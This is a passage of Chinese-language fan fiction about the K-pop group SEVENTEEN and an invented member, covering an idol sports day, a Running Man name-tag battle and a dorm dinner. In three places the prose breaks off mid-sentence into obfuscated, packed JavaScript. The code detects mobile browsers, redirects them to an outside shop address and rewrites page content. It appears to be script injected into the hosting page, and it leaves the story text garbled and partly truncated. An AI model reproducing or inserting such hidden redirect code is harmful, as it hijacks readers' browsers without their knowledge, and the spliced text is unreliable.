“因为是从重国粉丝们那里学会的,‘树’的英文是‘tree’,”她扬声和自家俩爱豆解释道,“直接叫‘树树’有点奇怪,所以就变成和‘Tree tree’发音很像中文的‘cuì cuì’,刚好RISU的眼睛又是翡翠绿色,大家就用了代表绿色的翠,顺口叫‘翠翠’了。” “=?ω?=”两小猫对视一眼开始坏笑。 “明浩呀,可以帮我问问翠翠的眼睛到底是什么颜色的吗?”小姑娘趁着难得能和自家哥哥们说上话的机会,扬声问道。 正好这时崔胜澈在远处朝他们招手,徐明浩对她比了个“OK”的手势,便和文俊辉一起小跑着回到了队伍。 姜里树正背着赖在他身上的尹净汉,站在原地等他们回来。 一行人往四百米比赛场地走去。 “哥,你的眼睛到底是什么颜色啊?”文俊辉还是没忍住,边走边问。其实成员们也好奇很久了。 姜里树听到问题,抬手轻轻摸了摸眼角,自己也有些不确定:“说实话……我也不知道。光线不同的时候,看起来颜色好像也不太一样。” “可能是正绿色吧,”他想了想,又补充道,“就是绿色。” 说完自己先笑了。这回答,好像跟没回答一样。 他并不知道的是,当晚回到宿舍,徐明浩就发消息找经纪人哥,让他找公司用官方账号发了一条动态: 「翠翠哥说他的眼睛是正绿色,就是绿色。——THE 8」 公司竟也纵容了这份小小的“捣蛋”。 四百米接力毫无悬念。全圆佑起跑稳当,金珉奎、崔胜澈接连提速,最后一棒交给姜里树冲刺。他以0.2秒的优势险胜爆发力极强的田柾国前辈,为队伍拿下了第一。 赛后,SEVENTEEN的孩子们礼貌地向BTS的前辈们行礼问好。几位哥哥前辈们都笑着拍了拍他们的肩,语气温和地夸赞道:“跑得真不错,孩子们很厉害啊。” “哥,你这算不算欺负‘小孩儿’啊?”李硕珉凑到姜里树耳边,小声嘀咕。他说的是和他同岁的田柾国前辈。 姜里树微笑着没说话,反手在他后脑勺上轻轻呼了一巴掌。 28. 28.比赛结束 热火朝天的体育馆内,偶像运动会的足球比赛正激烈进行。小型赛场上人影交错,粉丝的欢呼声、助威声此起彼伏,将午后的空气搅得沸腾。 除了正在场上奔跑的尹净汉和金珉奎,其余成员都围在场边,眼睛紧跟着场上滚动的足球。每一次传球、抢断,都牵动着他们绷紧的神经。 姜里树的目光追着场上尹净汉跑动的身影,注意到他低头追球时,额前的碎发总是滑下来挡住视线——是不是又该剪了? 他低头看了眼手机里的行程表,密密麻麻的行程挤满了屏幕,一天接着一天,几乎找不到空隙。 中场休息时,姜里树拿着水走向尹净汉和金珉奎。他把水瓶递过去,然后自然站到尹净汉身后,轻轻解下对方已经松散的头绳。 手指穿过微湿的发丝,将散落的碎发仔细拢好,重新扎成一个利落的低马尾。 “谢谢里树~”待头发重新被姜里树整理好后,尹净汉转过身抱着他的腰,脑袋蹭了蹭姜里树的腹部,“不经意间”把额头上汗水全擦在了姜里树的衣服上,汗水浸湿衣服好大一片。 “……” 姜里树低头看着怀里这只使坏的小兔子,抬手轻轻拍了拍他的脑袋,却没把人推开。 金珉奎在一旁看得眼睛一亮,立刻有样学样,扑过来抱住姜里树的胳膊就开始哼哼唧唧地“撒娇”,一脑袋的汗直接浸透了姜里树胳膊上的布料。 ‘我哥已经三天没打我啦~’ “……”那能咋办,回去再收拾这两个。 裁判的哨声响起,催促球员回到赛场。 两人这才松开人架子姜里树,一蹦一跳地并肩跑回绿茵场上,马尾和发梢在风里轻轻扬起。 足球比赛结束后,紧接着就是姜里树与崔瀚率的篮球赛。 教练抓紧时间快速交代了注意事项和战术安排。崔瀚率司职二号位得分后卫,姜里树则打四号位大前锋。所有队员迅速在各自训练过的位置上站定,空气里只剩下球鞋摩擦地板的尖锐声响与短促的呼吸。 篮球场上,空气绷紧如弓弦。 哨声响起—— 姜里树在四号位卡住身位,对方的中锋试图背身强打,肌肉碰撞的闷响在篮下清晰可闻。他稳住下盘,右手悄然探出——啪!一记干净利落的切球,球权转换。 崔瀚率已在侧翼启动。姜里树手腕一抖,篮球划过半场,精准落入他手中。起跳、出手,篮球在空中划出平直的弧线,空心入网。 “回防!”姜里树的声音穿透喧嚣。对方后卫快速推进,却被崔瀚率一步横移封住去路。两人眼神交汇的瞬间,默契已无须言语——包夹形成,抢断得手。 球再次回到姜里树手中。三分线外虚晃,变向突破,急停跳投。防守者跃起封盖的指尖,与旋转的篮球只差毫厘。 刷—— 网声清脆。记分牌翻动,分差拉大。汗从额角滑落,姜里树与崔瀚率击掌,掌心相触的响声短促有力。 比赛还在继续,但某种节奏已然成形:每一次传球都像早有预谋,每一次跑位都彼此呼应。Seventeen的默契不必多说,行为思想同步都是生活在一起很久养成的下意识习惯。 篮球撞击地板的声音、球鞋摩擦的尖啸、观众席起伏的声浪——全都融进这片方寸战场。而在那片喧嚣中心,两人配合着球队队友如同精密咬合的齿轮,沉默而高效地运转着。 比分始终紧咬,直到终场哨前仍定格在25:25。又追加一场加时赛,结束比赛的倒数五秒,对方投篮未中,姜里树在自家篮板下跃起接住球。 所有人都以为比赛即将结束,他却转身、蹬地,像掷铅球般将篮球全力抛向对面篮筐。 那一瞬间,空气仿佛凝固。 球划过整个球场的上空,对手甚至没来得及反应。计时器归零的嗡鸣与篮球刷网的声音,几乎同时响起。 最后记分板上定格在25:27。 全场安静了一瞬。 所有人都盯着那颗落地后还在轻轻弹跳的篮球,脑海里闪过同一个念头:这也行? 姜里树自己猛地后退了一步,睁大眼睛,心里嘀咕的也是同一句: ——居然真的行?! 球队队友和弟弟崔瀚率先反应了过来,一群人欢呼着冲上前,把还在发愣的姜里树团团围住。紧接着,全场观众也回过神来,欢呼与掌声如潮水般涌起,淹没了整个球场。 比赛结束的哨声一落,崔胜澈已经带着弟弟们从场边冲了上来。他第一个扑进姜里树怀里,手臂紧紧环住对方的脖子,放声大喊:“哥!太帅了!!!” 另一边,金珉奎也蹦跳着挂到了崔瀚率背上抱住自家弟弟,兴奋的叫声混在鼎沸的人声里,听不清内容,只看得见他笑得见牙不见眼的脸。 球场的音响配合着人群的欢呼突然切进熟悉的旋律。是SEVENTEEN首专里《Shining Diamond》的高潮段落。激昂的鼓点与明亮的合成器音色瞬间点燃了整个赛场: Shining Diamonds yeah 闪耀夺目的钻石 ???? ??? 即使时间继续流逝 ???? ?? 光芒也不会减弱丝毫 We''ll keep it up 我们会继续闪耀 ?????? ??? 现在将这闪耀的约定 ??????? 戴在你的于上 …… 歌声回荡在沸腾的体育馆内,像是为这场拼尽全力的胜利,镀上了一层格外应景的、灿烂的注脚。 不论是今天的比赛结果,还是现场粉丝与路人的反响,都远超预期。公司特意打来电话,让经纪人们带着孩子们去吃韩牛烤肉为孩子们庆祝一下。 全桌除了要开车的经纪人们,就只有95哥哥line成年能喝酒。他们四个坐在烤肉桌最靠边的位置,起初还边吃边聊,顺手给坐在旁边的弟弟们翻烤着肉片。 可喝着喝着,崔胜澈就开始拉着姜里树你一杯我一杯地碰。崔胜澈越喝眼睛越亮,话也越来越多,人也直接站起来带着喝着饮料的弟弟们嗨了起来;姜里树却越喝越安静,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下车时,姜里树依然背着崔胜澈,先下了车走在最前面。背上的人一点也不安分,学着部落酋长的样子,高举手臂朝弟弟们挥动,嘴里还含糊地喊着“冲啊——”,两条腿在他身侧晃晃荡荡。 好在崔胜澈就算喝醉了也很听话。让洗漱就乖乖刷牙,让换睡衣就自己伸手套衣服,不用姜里树和全圆佑费力按着,省了不少折腾。 姜里树在所有疲惫的弟弟们进了卧室,自己也终于能躺进被窝时,他长长舒了口气,刚要合眼,就感觉身侧一沉,有个暖烘烘的生物滚过来,紧紧贴住了他的胳膊。 姜里树没动,也没睁眼,任由那个暖烘烘的生物挨在身边。没过多久,平稳的呼吸声就在他耳边轻轻响起。 两个人都睡着了。 对了……净汉的头发是不是该剪了…… 姜里树再次睁开眼望着黑暗里的天花板,忽然想起坐车回来时公司发来的消息。让大家好好休息两天,然后同时要抓紧新专辑的制作了…… 明天带孩子们出去放松一下吧? 还是先睡醒再说吧…… 29. 29.又在跑 为什么他又在跑啊!!! 姜里树握着手中的三张名牌,努力见缝插针的逃脱着来自后面‘英雄队’的前辈们的‘追杀’。 差点以为今天又是平平无奇的一天啊!!! 八月,SEVENTEEN在偶像运动会上以一种圈内外都意想不到的方式闯进了大众视线。各家粉丝上传的剪辑视频《SEVENTEEN另类出圈:娱乐圈的运动黑马》在网络上迅速传开,点击量不断攀升。 而SEVENTEEN的孩子们并未因一时的热度停下脚步。9月10日,他们紧接着发布了第二张迷你专辑《BOYS BE》,主打曲《MANSAE(万岁)》节奏明快、青春洋溢,收录曲《????(表情管理)》《ROCK》等也各具特色。 这一次,他们再次以“自给自足”的团队模式引发关注。组合内有天才制作人成员包办创作,有舞蹈天才主导编舞,每个人都在自己的位置上发光,共同构成了SEVENTEEN完整而闪耀的拼图。 运动会后的那点休息时间,在接下来的行程表里短暂得像昙花一现。刚低下头喘口气,下一个日程已经等在眼前。 待机室还回荡着打歌结束后的松快感,成员们正三三两两收拾着东西,U-IE前辈的电话就在这时打了进来。 “COUPS啊,和成员们都在一块儿吗?”电话那头是U-IE姐姐带着笑意的声音。 “内!努拿,我们都在一起呢。”崔胜澈接过振宇哥递过来的电话。 “是这样,今天晚上《RUNNING MAN》突然临时邀请我去,可我晚上还有行程并不能久待,”电话那头的声音带着歉意与匆忙,“所以我和‘Running Man’给我打电话的哥哥推荐了你们。时间有点赶,一会儿就得过去啦!” “我们吗!?”他们要去《RUNNING MAN》了?! “内,所以晚上加油哦!连带着我的那一份一起赢过来!” 挂断电话,崔胜澈把消息转达给大家。休息室里安静了一瞬,随即响起低低的吸气声和几声不确定的“真的吗”。白天打歌的疲惫还没完全散去,可每个人眼里都慢慢亮起一点光,不是兴奋的欢呼,而是那种“我们真的要去《RUNNING MAN》了吗”的带着点恍惚的期待。 “真的假的?!” “现在?!” “哇——!!” 刚才还疲惫的孩子们反应过来瞬间弹了起来,待机室里炸开一片低低的惊呼。李硕珉和金珉奎已经蹦着击了个掌,夫胜宽抓着文俊辉的胳膊晃:“俊辉哥!是Running Man啊!!” 经纪人推门进来,看着这群瞬间精神抖擞的少年,忍不住笑了:“车在楼下等着了,给你们十分钟收拾,快!” “内——!!” 回应声格外响亮。 十分钟后,两辆外表低调内部极度宽敞舒适的保姆车驶向某个学校的体育馆。车里热闹极了,大家七嘴八舌地猜测今晚会有什么游戏,会不会有撕名牌,互相提醒着综艺里要注意什么。 “呀,都冷静点,”崔胜澈看着后视镜里一张张兴奋的脸,自己也绷不住笑了,“但是真的机会难得,都好好表现啊!” “知道了,哥!” 车窗外的霓虹飞速掠过,映亮了一车十九岁左右少年闪闪发光的眼睛。属于SEVENTEEN的第一次《RUNNING MAN》的团体综艺就要开始了——带着汗味、笑声,和满到快要溢出来的期待。 就是这样他们在白天完成打歌舞台后,晚上又突然多了个意想不到惊喜从天而降,他们要去参加那个家喻户晓的《RUNNING MAN》综艺节目了!!! 刚到录制现场,没正式入场呢,还没围住前辈们,就被一群业界大佬前辈团团围住。作为近期崭露头角的“新鲜血液”,再加上两个月前“偶像运动会”上的亮眼表现,SEVENTEEN这群“运动黑马”也算是在圈内传开。 前辈们一边接受孩子们的礼貌问候,一边半开玩笑地提醒:“一会儿要是撕名牌对战,可得对我们手下留情啊!” 夫胜宽、权顺荣和李硕珉这三个综艺天赋怪连忙带头,带着全体成员齐刷刷鞠躬,一边摆手一边笑着回应:“不会不会的!请前辈们多多关照!” 以至于进场的时候,还有两个前辈走在他们后面,被前辈们夹在中间进场,每个人都被妥帖地收进镜头里,无论镜头扫到哪里,都不会落下任何一个孩子。 “哦!你就是运动会上的那匹‘黑马’吧!”轮到介绍SEVENTEEN时,刘在石前辈一眼就从队伍里找到了坐在第三排紧挨着孩子们,眼睛颜色特别的姜里树,笑着指了过来,“你和你所在的组合,现在可是出了名的‘黑马团队’啊!” 这时候,姜里树可以迅速起身,先向刘在石前辈和其他主持人恭敬地鞠躬,然后带着谦虚又活泼的笑容回应道:“谢谢前辈的夸奖!我们只是尽力去做而已,还有很多需要向前辈们学习的地方。今天也请各位前辈多多关照孩子们!” 姜里树躬身答谢后坐回原位,身旁的崔胜澈便悄悄伸出手,在他微微汗湿的掌心轻轻捏了一下。 崔胜澈是与他相伴时间最长的人,比谁都清楚姜里树的性子。看似从容,骨子里却是个善于伪装的i人,要不然练习生时期见到崔胜澈之前会一己之力‘孤立’所有人。被刘在石这样的大前辈当众多前辈的面点名夸奖,表面答得周全,指尖却早就绷紧了。此刻他一个人说的话,代表的是SEVENTEEN十四个人的形象,这份重量,崔胜澈比谁都懂。 好在自我介绍环节过后,并没有再对他有过多关注。 接着,比赛开始,节目组宣布了让除《RUNNING MAN》固定成员外的所有嘉宾都震惊的赛制——100 VS 100的“百人大战”。 体育馆内先是一静,随后响起一片压低了的惊呼。近百名艺人相互张望,气氛瞬间变得紧绷而兴奋起来。 作为对手的体育健将们现身赛场,体育馆内现在有英雄队80人、RM队92人,看上去也只是占了人数上的优势。 比赛分为三次对决,三局两胜,各队出战人数自己决定。 RM队这边的战术是开始第一组,第二组直接上精锐,第一组由兼顾速度和力量的元孝前辈和相国前辈组合首发,选了光洙前辈。 几位前辈讨论着来到SEVENTEEN这边时,毫不犹豫地先点中了队长S.COUPS——“运动会上跑得真的很快呢!”接着又选上了身段灵巧的THE 8,最后目光落在姜里树身上,笑着拍了拍他的肩:“‘黑马’RISU,今天也期待你的表现哦。” 上场前姜里树牵着两个弟弟小声说着悄悄话:“可以分散跑,但是一定不要偏离大部队,如果实在迫不得已落单一定要叫我的名字,然后努力往人多的前辈们那里跑,不要管后背,直接奋力跑!!” 双方第一组撕名牌完全都是前锋选手来着,双方好像都不太清楚自己的实力,正面交锋的冲了上去,还是“撕名牌”经验丰富的RM队略胜一筹冲散了英雄队的队形。 姜里树一开始就打算当个“刺客”满场窜,哪里自己人少对人多就往哪里去,迅雷不及掩耳之势一把撕了名牌,跑走时还叫着“前辈!米亚内呦——!” 比赛中途,姜里树听见弟弟的喊声,立刻转身冲过去,一个个把人捞回自己队伍的掩护圈里。救徐明浩的时候,他还中途绊了一下,姜里树二话不说把他拦腰抱起来,在前辈们默契的掩护下迅速撤到安全区。确定孩子没受伤,放下人,他转身又扎进混战里,开始了满场游走的“刺客”模式,能撕一个是一个,被发现就立刻掉头狂奔,速度比谁都快。 效果也是立竿见影。他手里已经攥了七张对方的名牌。这东西哪能随便丢,拿不下了就转身朝场边跑。那边站在最前面的是几位笑得像太阳花一样灿烂的RM大前辈,姜里树飞快地把名牌往他们手里一塞,像只叼回飞盘等待夸奖的狗狗,完全玩儿嗨了,眼睛亮亮地转身又重新冲回了“战场”。 [后期字幕:长得像小猫一样的狗狗,出现了!新生物——小猫狗!] 然后他就被对面英雄队的前辈们“围剿”了。 刚一露头,所有英雄队的前辈立刻放弃了正在追的对手,齐刷刷调转方向朝姜里树扑来。姜里树哪见过这种全员针对的阵仗,撒丫子就跑,边跑还忍不住回头看,满脸惶恐,心里还想着‘为什么只追他一个啊?!’ ‘你说为什么追你,防又防不了,抓又抓不住。’ 姜里树:只是在呼吸。 英雄队:他在挑衅我! 场下所有人都被这画面逗得大笑,Seventeen的孩子们更是放声“嘲笑”起自家大哥。文俊辉在队伍里小声用中文嘀咕了一句:“因为你身上有急支糖浆啊。”可惜徐明浩这会儿不在旁边,没人听得懂这个梗。文俊辉也跟着笑,准备等比赛结束再跟徐明浩讲一遍。 最后,还是在前来帮忙“保护”的前辈们和两个弟弟的手下侥幸“存活”,腿有点软的躲在在集体被前辈们保护在背后的两个弟弟们的身后,悄摸摸的偷看着对面。 被RM队反向包围的英雄队前辈们,朝姜里树的方向投来“凶狠”的一瞪。 姜里树脑袋一缩,整个人彻底躲到崔胜澈和徐明浩背后,像只受惊的小猫。 崔胜澈和徐明浩察觉动静,立刻侧过身,把自家大哥挡得更加严实。 英雄队的前辈们看着这两个孩子一副“誓死守护”的架势,差点气笑了。刚才满场撕名牌撕得最欢的好像不是他们大哥一样,现在倒是躲得像个受欺负的。 僵持下去不是办法,不如冲一把,说不定还能反败为胜。有位前辈从姜里树身边冲刺突围时,这孩子手一伸,精准地拽下了一张名牌。 周围瞬间安静了一秒,所有人都愣住了。 这下所有人都知道了,这孩子不仅跑得快,手也快得惊人。 姜里树自己也不敢相信,瞪圆了眼睛,抿着嘴赶紧移开视线,根本不敢看被他撕掉名牌的前辈。在对方难以置信的目光里,他慢慢的在所有人的视线下把名牌藏到自己背后,像做了错事被抓包的小孩。 这反应让全场瞬间忘了比赛,爆发出一阵大笑。崔胜澈和徐明浩一边拼命绷住笑,一边赶忙朝前辈鞠躬道歉,同时把已经缩成一团的姜里树牢牢护在身后。 那位前辈看着躲在弟弟身后、只露出一颗毛茸茸头顶的姜里树,又是无奈又是好笑,最终摇摇头,自己笑着走下了场。 英雄队的人看着自家又被这“诡计多端”的小孩儿淘汰了一个人,也不管这把能不能赢了,本着‘比赛可以输,这小孩儿必须被淘汰的心’全部冲了上去。 崔胜澈和徐明浩一看这架势,赶紧和背后护起来的大哥抱成一团,朝着自家队伍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205969|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前辈们大喊:“救命啊——!” 一阵混战后,英雄队只剩下两位猛将,RM队则还剩五人,其中包括被重点“保护”的姜里树和崔胜澈。徐明浩为了护住姜里树,被前辈反手撕掉了名牌。 比赛结果当然是压倒性胜利啦~这场开门红大大鼓舞了还没上场的其他前辈们,也让SEVENTEEN的孩子们在场边兴奋地跳着欢呼起来。 第二场比赛,前辈们商量着让第一组胜出的队员先休息,留到第三场再上。英雄队那边的队长似乎也猜到了这边的战术,第二组调整了策略,打算稳扎稳打,把主力队员留到最后专门对付RM队的精英组。 可谁也没想到,第二组姜里树又上场了。 他躲在金珉奎背后,朝英雄队那边咧开一个笑。弟弟像座小山一样严严实实挡在他身前,对面完全没注意到他的存在。结果一开场,姜里树就连撕三人。 英雄队的队长在场边急得大喊:“撕了他——!”一时之间也分不清,是想撕名牌,还是想“撕”了姜里树这个人。 第一把比赛不熟悉战术还能躲躲藏藏、打打游击战的,那这一场姜里树直接成了全场焦点,想躲都没处躲。开局还没撕掉几个人,追他的队伍就已经比上一次更庞大了。 英雄队直接复制了他们第一场的战术,把姜里树从阵型里“孤立”出来。前面的人封路防他逃跑,后面的人筑起人墙挡住救援。 转眼间,五个高大的身影就团团围住了被绊倒的姜里树,像拎小鸡仔一样把他从地上提起来。在他一脸生无可恋的表情中,“刺啦”一声,名牌□□脆利落地撕下。 可这边刚撕掉一个,外围却已损失惨重。 英雄队的二组精英只顾着围攻姜里树,自家队员却在RM队和SEVENTEEN的疯狂反扑下接连倒下。尤其是那群少年,眼看救不了大哥,干脆跟着前辈们拼命往人墙里“冲杀”,撕名牌撕得又快又狠。 姜里树这一倒,也算是“以一换九”,不亏。 淘汰了两人后被淘汰了的尹净汉就扶着姜里树,两个人互相搀扶着下了场,姜里树还有点儿恍惚,他差点儿以为自己要被英雄队的前辈们当场干掉了。 场边的孩子们立刻围了上来,叽叽喳喳地安慰着被淘汰的哥哥们。姜里树和尹净汉一边摸摸这个的脑袋,一边揉揉那个的头发,笑着说“没事没事”。 RM的几位大前辈也笑着走过来,拍拍两人的肩:“辛苦了,今天可是大功臣啊!”语气里满是调侃,却也带着安慰,像在哄两个“心灵受创”的孩子。 这边两名SEVENTEEN的成员被淘汰下场,场上的战役就更火热了,金珉奎在赛场上横冲直撞的帮前辈们抓人,文俊辉就继承了他哥战术,当起了“刺客”,一直不停的跑,像一阵捉不住的风一样。 两个人时不时还打配合:一个被围,另一个就冲进来解围;一个被追,另一个就主动吸引火力。偏偏这两人还都是SEVENTEEN的,默契得不得了,搞得英雄队的前辈们一个头两个大。 这一局结束得比第一局更快、更稳。最后场上RM队竟然还剩9个人,其中就包括SEVENTEEN的MINGYU和JUN。 以至于到了第三组,最后留在场上没上过场的所有嘉宾里,SEVENTEEN的孩子们占了相当可观的人数。 英雄队本以为,只要没了那个最让他们“咬牙切齿”的,这局总能稳稳拿下了吧? 可这回谁又能想到呢。 所以说SEVENTEEN这群孩子到底是怎么长大的啊…… 被95line那几个哥哥一手带大的,能是什么省油的灯?跑得快的就不断骚扰对方阵型,身手灵活的就见缝插针配合前辈撕名牌,Seventeen队里力量最强的崔胜澈和金珉奎,更是直接和前辈打起了围剿配合。 英雄队的算盘,从一开始就落空了。 李灿更是学透了他家哥哥们的精髓——跑不过、力气也不占优,一被追就扯开嗓子喊“救命”。这谁坐得住?自家哥哥前辈们立马围拢过来,转眼间反而把对面给包了饺子。 这战术一开始确实好用,可架不住英雄队的精锐现在全在场上。虽然速度可能比不上孩子们,但力量却是实打实的,队里面还有摔跤选手在。之前把姜里树当小鸡仔拎起来的五个前辈里就有摔跤选手。 在绝对力量的压制下,战局开始一边倒。RM这边被淘汰的人越来越多,SEVENTEEN的孩子们在场上也没剩几个。一直活跃在外围的夫胜宽和李硕珉反而“存活”到了最后——先是李硕珉被抓住淘汰,只剩下夫胜宽一人还在场中“顽强抵抗”,勇敢1V19。 RM队的刘在石前辈提议用1V1对决来结束比赛。就这样,夫胜宽虽然信心满满地上前应战,还是很快就被淘汰下场了。 虽然最后一组没能取胜,但前两场都已经拿下,三局两胜,最终仍是RM队全员获胜。前辈们和哥哥弟弟们纷纷围到夫胜宽身边,笑着拍拍他的肩、揉揉他的头,七嘴八舌地安慰着“已经很棒了”“我们一起赢了呢”。 《RUNNING MAN》百人大战,大胜利!!! 回到保姆车上,孩子们几乎都瘫在了座椅里。没过一会儿,大半人都睡着了,只剩几个还兴奋着的,压低声音说着刚才录制的趣事。 两辆保姆车摇摇晃晃地驶向宿舍,载着一车沉甸甸的疲惫,和一点点未散的兴奋。 30. 30.注意交通安全 距离第二张迷你专辑进入一位候补,已经过去一个月了。他们像是被卡在了这个关口,每次打歌舞台都带着满满的期待站上去,却又只能带着“一位候补”的头衔走下来。 让他们满怀希望,却又只停留在希望上的一位候补。 前不久录制的《RUNNING MAN》,就像一把拧松了螺丝的扳手,让他们在紧绷的日程里,短暂地喘了一口气。 SEVENTEEN的孩子们谁都不会轻易放弃每一个一位候补的机会。就像练习生时期那样,他们嚼着公司画的“大饼”,硬是撑到了出道那天。现在在这触手可及的“希望”下煎熬,又算什么呢。 姜里树点开微博官方账号,看着那边已经相当可观的粉丝数,又切回韩国官网看了看,对比之下,中粉的数量明显更庞大。 现在这两个账号都由专职人员运营,内容多是官方通告,措辞也规规矩矩的。除了团队行程,中国那边的粉丝其实很难知道他们平时真实的样子,全靠韩国这边粉丝自己拍摄剪辑的零零碎碎的物料,一点一点拼凑出成员们私下里的模样。 他不由得想起运动会那天,看台上那位粉丝用中文喊出的称呼——那个只在中粉里流传的名字。还有徐明浩那晚用官号发的那句话,姜里树后来特意去看过,点赞和评论的数量,比公司平时发的任何内容都要高得多。 或许是他在韩国这个地方待的太久没有回去看看,反而忘了家乡那边的天地有多宽广了。 遇事不决,就问问他姐吧,反正在家的时候,他喊“姐”的次数比喊“妈妈”的次数还多。 [树:在不在不在不在……] [魔王:不在。] [树:我们要闯中!] [魔王:酒醒了再给我发消息。] [树:我没喝酒!我醒着呢!你那边儿天还没亮吗!] [魔王:想往家这边发展?] [树:(小狗点头.gif)] [魔王:“一口吃不成胖子。”] 姜里树盯着他姐发来的消息看了好几秒——这话里……有深意啊。难道公司早有计划,要让他们慢慢往国内发展了? 而且,他姐说的话,就算是随口一提,最后也总能变成真的。 既然这件事有了着落,他悬着的心总算能落回实处。 心头大事一放下,姜里树习惯性地开始在客厅里张望,找找今天下午没有行程、留在宿舍的孩子们。 上午团体打歌行程结束后,还有一部分孩子下午还有各个节目的邀约行程。 综艺感满满的夫胜宽和李硕珉打歌结束就出发去综艺节目彩排了,崔胜澈则是带着Hip-hop小队去了另一个综艺彩排。 余下的孩子们都在宿舍里休息。 尹净汉这两天没睡好,这会儿估计在补觉;洪知秀在二楼看书;文俊辉和徐明浩窝在客厅沙发里看电影。没看见李知勋、权顺荣和李灿——那三个孩子多半又在地下一层的制作室和舞蹈室里“加班”。 好久没下厨了……不如给孩子们做点好吃的吧。 姜里树走到沙发边,轻声对两个正盯着屏幕的孩子说:“俊辉、明浩,我出去买点食材……” 文俊辉闻言抬头看他:“哥等一下,我们还有一点点就看完了,一起出去吧。外面下雨呢,还能帮你拿东西、撑个伞。” “好,不急,那我去跟知秀说一声。”姜里树拍拍他的肩,转身上了楼。 “知秀啊,”姜里树站在楼梯口,朝二楼已经改造成阳光房里那个听雨看书的身影,轻声说,“我带俊辉和明浩去买点食材,一会儿就回来。” “啊,那我也去好了。”洪知秀从书页里抬起头,笑眯眯地合上了书——反正这会儿正有点无聊呢。 “好。”还是干脆给孩子们便利贴留言好了。 姜里树在厨房留了张便利贴,用装满冰糖柠檬茶的玻璃杯压好,确认没什么遗漏了,这才带着洪知秀、文俊辉和徐明浩去了地下车库,开出一辆私家车就出了门。 “知秀,你想吃什么?”姜里树推着购物车,转头问身边的洪知秀。文俊辉和徐明浩被他派去买零食了,这会儿不在旁边。 “可乐鸡翅!”辣度和甜度适中的绝世美味对他这种不太能吃辣又喜欢甜食的人来说正正好。 “好,一会儿再买上五盒鸡翅中……”姜里树点点头记下洪知秀想吃的,又想起其他几个提过的菜,脑海里有了个大概的菜谱。 四个人有了目标后购买起来确实快了很多,快快的付钱装车,想着早去早回。 顶着一身湿气回到宿舍时,客厅里还是静悄悄的,连灯都没开。他们把食材搬进厨房,发现桌上那杯柠檬水已经空了,只有被水杯压着的便利贴还在原地。 纸条上多了一行字,姜里树拿起来看: “啊啦搜~” 结尾还画了只简笔画小兔子比OK。 姜里树笑着摇摇头,把便利贴折好,顺手塞进了还没脱下的外套口袋里。 接下来四个人就挤在厨房里忙活起来,徐明浩和洪知秀打下手,姜里树和文俊辉掌勺,洗切煎炒,热气腾腾地忙了三个半小时。 菜刚上桌,崔胜澈就带着所有跑完行程的孩子们推门进来,正好赶上吃饭。 番茄鸡蛋滑牛肉可以盖饭,番茄玉米浓汤用来暖暖孩子们最近没顾好的胃,蟹柳虾滑海苔卷Q弹爽口,热菜还有好些……甜品准备了木瓜牛奶冻、草莓阿达子,还有五种甜度适中的小蛋糕,配着窗外的雨声吃起来会让心情格外舒服。 “哇——今天有什么好事发生吗?”崔胜澈领着孩子们从车库上来,刚进厅里,一眼就看到桌上摆得满满当当的中餐,眼睛瞬间亮了起来。奔波一天的倦意,仿佛也被这满屋的饭菜香轻轻拂散了些。 “好好犒劳犒劳孩子们,最近一直没机会坐下来吃顿像样的饭,时间长了对胃不好。”姜里树边说边拍了拍身边金珉奎的肩,“都先去洗手吧,饭已经好了,我去楼上楼下叫其他孩子一声。” 孩子们应声散开,水声和说笑声很快从洗手间传来。姜里树转身往楼梯走去,楼上只有一个不知道有没有睡着的小兔子。 姜里树站在尹净汉房门前,指节在门板上轻轻叩了两下。 “净汉,睡醒着吗?”他的声音压得很低,像怕惊扰了什么。 里面安静得有些反常。尹净汉睡眠浅,又因为总睡不踏实才单独住这间,平时敲门,就算不答话也会有点窸窣的动静。 “净汉呐,醒了吗?”姜里树稍稍提高声音,眉心不自觉地拢起。 还是没有回应。 他不再犹豫,掌心贴上微凉的门把,轻轻旋开。 房间被厚重的窗帘遮得严实,光线昏暗得像浸在薄暮里。只有床中央那团被子隆起一个模糊的弧度,隐约勾勒出一个人蜷缩的轮廓,静静伏在那里,一动也不动。 姜里树的心瞬间提了起来,几乎是两三步就跨到了床边。他伸出手,指尖刚碰到被沿,动作却忽然顿住了。 被子裹得太紧、太严实了,几乎像个密不透风的茧。 “?”姜里树一时之间没有反应过来,这不太像是尹净汉的睡眠模式,就算他不舒服也不会是这样子,所以这是个什么情况? 他伸手戳了戳那个类似是腰的弧度。被子底下的人瞬间扭动了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205970|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >提着的心这才落回实处,姜里树收回手,脸上的担忧瞬间散了个干净。 他现在只想把这只把自己裹成茧的兔子,从被子里直接拎出来。 被窝外安静了好一会儿,尹净汉以为姜里树已经走了,不由撇了撇嘴,有点失落地将被子一点点往下拉。 刚露出毛茸茸的发顶,整床被子就被人倏地掀开! “呀!”蜷在被子里的“兔子”惊得轻呼出声,整个人都跟着瑟缩了一下。 